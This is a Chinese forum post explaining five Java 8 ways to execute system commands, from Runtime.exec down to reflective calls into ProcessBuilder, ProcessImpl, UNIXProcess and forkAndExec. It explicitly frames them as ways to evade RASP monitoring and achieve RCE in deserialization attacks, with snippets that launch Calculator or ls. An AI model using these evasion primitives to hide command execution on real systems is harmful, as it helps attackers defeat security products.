Java 8 中使用反射进行命令执行的 5 个方法

锦通  金牌会员 | 2023-4-20 16:21:08 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 928|帖子 928|积分 2784

今天在逛先知的时候看到了一篇文章:《探究使用反射进行除Runtime的命令执行方法》https://xz.aliyun.com/t/12446 其中大概讲了下命令执行的其他构造方式,但最后没有给出实例,所以我这里就简单研究了一下。
概述

在RASP等安全产品防护严密的现在,普通的寻找Runtime.getRuntime().exec(cmds)的调用已经成为了一件不现实的事情
同样的,在Java中盛行的反序列化漏洞中,如果将RCE的功能简单的通过Runtime.getRuntime().exec(cmds)这种结构来进行实现可能大概率也不能达到我们的目的,所以探索一下Runtime的底层实现,使用更加底层且复杂的调用来进行RCE功能的实现相对来说更加的可行
命令执行

文章接下里要用到反射技术,这里就不细讲了,可以看看其他的文章学习一下:https://www.yuque.com/sanqiushu-dsz56/efe3vx/hchx1p
命令执行 1:Runtime.getRuntime().exec()
  1. // 命令执行 1 Runtime.getRuntime().exec()
  2. Runtime.getRuntime().exec("open -a Calculator");
复制代码
这个是大家所熟知的 java 中执行外部命令的方法。
首先我们跟踪Runtime执行命令的过程

exec() 函数在这里接收一个String类型的参数,调用 exec() 的另一个重载方法对参数进行处理,将其通过分隔符(默认为空格),将其封装成了数组对象

然后继续调用 exec() 重载方法,执行字符串数组类型的命令。

然后通过 ProcessBuilder()....start() 去执行命令了。那么我们自己也是可以通过反射去手动调用这个方法的,构造一下。
命令执行 2:ProcessBuilder().start()
  1. // 命令执行 2 ProcessBuilder().start()
  2. String[] cmd_array = new String[] {"open","-a","Calculator"};
  3. Process process = new ProcessBuilder(cmd_array).start();
  4. // 或者
  5. new ProcessBuilder("calc.exe").start();  // 不能有参数
  6. //当然还可以有其他的变体(通过反射):
  7. Class pro = Class.forName("java.lang.ProcessBuilder");
  8. ((ProcessBuilder) pro.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
  9. Class pro = Class.forName("java.lang.ProcessBuilder");
  10. pro.getMethod("start").invoke(pro.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
  11. Class pro = Class.forName("java.lang.ProcessBuilder");
  12. ((ProcessBuilder) pro.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
  13. Class pro = Class.forName("java.lang.ProcessBuilder");
  14. pro.getMethod("start").invoke(pro.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));
复制代码
environment() 是设置环境遍历的函数,directory() 是设置执行目录的函数,然而我们都没传值,所以直接可以忽略。继续看 start() 函数

继续跟进,系统先进行了一番检查,然后新建了一个 SecurityManager 进行检测命令是否允许,但默认情况下 SecurityManager 是 null ,不进行检查。

然后就发现了系统调用的是 ProcessImpl.start() 进行命令执行。

那么到这里我们又可以自己构造了
命令执行 3 ProcessImpl.start()
  1. // 命令执行 3 ProcessImpl.start()
  2. String[] cmd_array = new String[] {"open","-a","Calculator"};
  3. Method method_start = Class.forName("java.lang.ProcessImpl").getDeclaredMethod("start",String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
  4. method_start.setAccessible(true);
  5. method_start.invoke(null, cmd_array, null, null, null, false);  // 静态方法不需要传入实例
复制代码
继续跟踪 ProcessImpl.start() 方法,在经过一番准备之后,系统来到了 UNIXProcess() 构造方法(我是 linux 系统)(Windows 系统是调用 create() 方法)

那么是不是意味着我们又可以构造了
命令执行 4 UNIXProcess()
  1. // 命令执行 4 UNIXProcess()
  2. String[] cmd_array = new String[] {"open","-a","Calculator"};
  3. Class<?> clazz = Class.forName("java.lang.UNIXProcess");
  4. Method method_toCString = clazz.getDeclaredMethod("toCString", String.class);
  5. method_toCString.setAccessible(true);
  6. Constructor<?> constructor = clazz.getDeclaredConstructor(byte[].class, byte[].class, int.class, byte[].class,
  7.         int.class, byte[].class, int[].class, boolean.class);
  8. constructor.setAccessible(true);
  9. constructor.newInstance((byte[])method_toCString.invoke(null, cmd_array[0]),
  10.         new byte[] {45, 97, 0, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 0} , 2, null, 0, null,
  11.         new int[]{-1,-1,-1}, false);
复制代码

那么继续往下看 UNIXProcess() 构造函数里面的代码

这里就一句话,调用 forkAndExec() 函数,那么我们可以手动调用这个函数,开始构造
命令执行 5: forkAndExec()
  1. 命令执行 5: forkAndExec()
  2. String[] cmd_array = new String[] {"ls"};
  3. Class<?> clazz = Class.forName("java.lang.UNIXProcess");
  4. Method method_toCString = clazz.getDeclaredMethod("toCString", String.class);
  5. method_toCString.setAccessible(true);
  6. Constructor<?> constructor = clazz.getDeclaredConstructor(byte[].class, byte[].class, int.class, byte[].class,
  7.         int.class, byte[].class, int[].class, boolean.class);
  8. constructor.setAccessible(true);
  9. Method method_forkAndExec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class,
  10.         byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
  11. method_forkAndExec.setAccessible(true);
  12. Object o = constructor.newInstance((byte[])method_toCString.invoke(null, cmd_array[0]),
  13.         new byte[] {} , 0, null, 0, null, new int[]{-1,-1,-1}, false);
  14. int pid = (int)method_forkAndExec.invoke(o, 2, new byte[]{47, 76, 105, 98, 114, 97, 114, 121, 47, 74,
  15.                 97, 118, 97, 47, 74, 97, 118, 97, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110,
  16.                 101, 115, 47, 106, 100, 107, 49, 46, 56, 46, 48, 95, 49, 48, 49, 46, 106, 100, 107, 47, 67,
  17.                 111, 110, 116, 101, 110, 116, 115, 47, 72, 111, 109, 101, 47, 106, 114, 101, 47, 108, 105,
  18.                 98, 47, 106, 115, 112, 97, 119, 110, 104, 101, 108, 112, 101, 114, 0},
  19.         new byte[]{111, 112, 101, 110, 0},
  20.         new byte[]{45, 97, 0, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 0}, 2, null, 0, null,
  21.         new int[]{-1, -1, -1}, false);
复制代码
不过这个有点牵强,因为需要先构造一个 UNIXProcess 的实例才行。
当然,我这传入的都是 byte[] ,只能用于验证,后续需要对照源码,将每个参数的生成给自动化才行。
Windows 的最后面的代码执行途径不太一样,但是同理构造即可。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

锦通

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表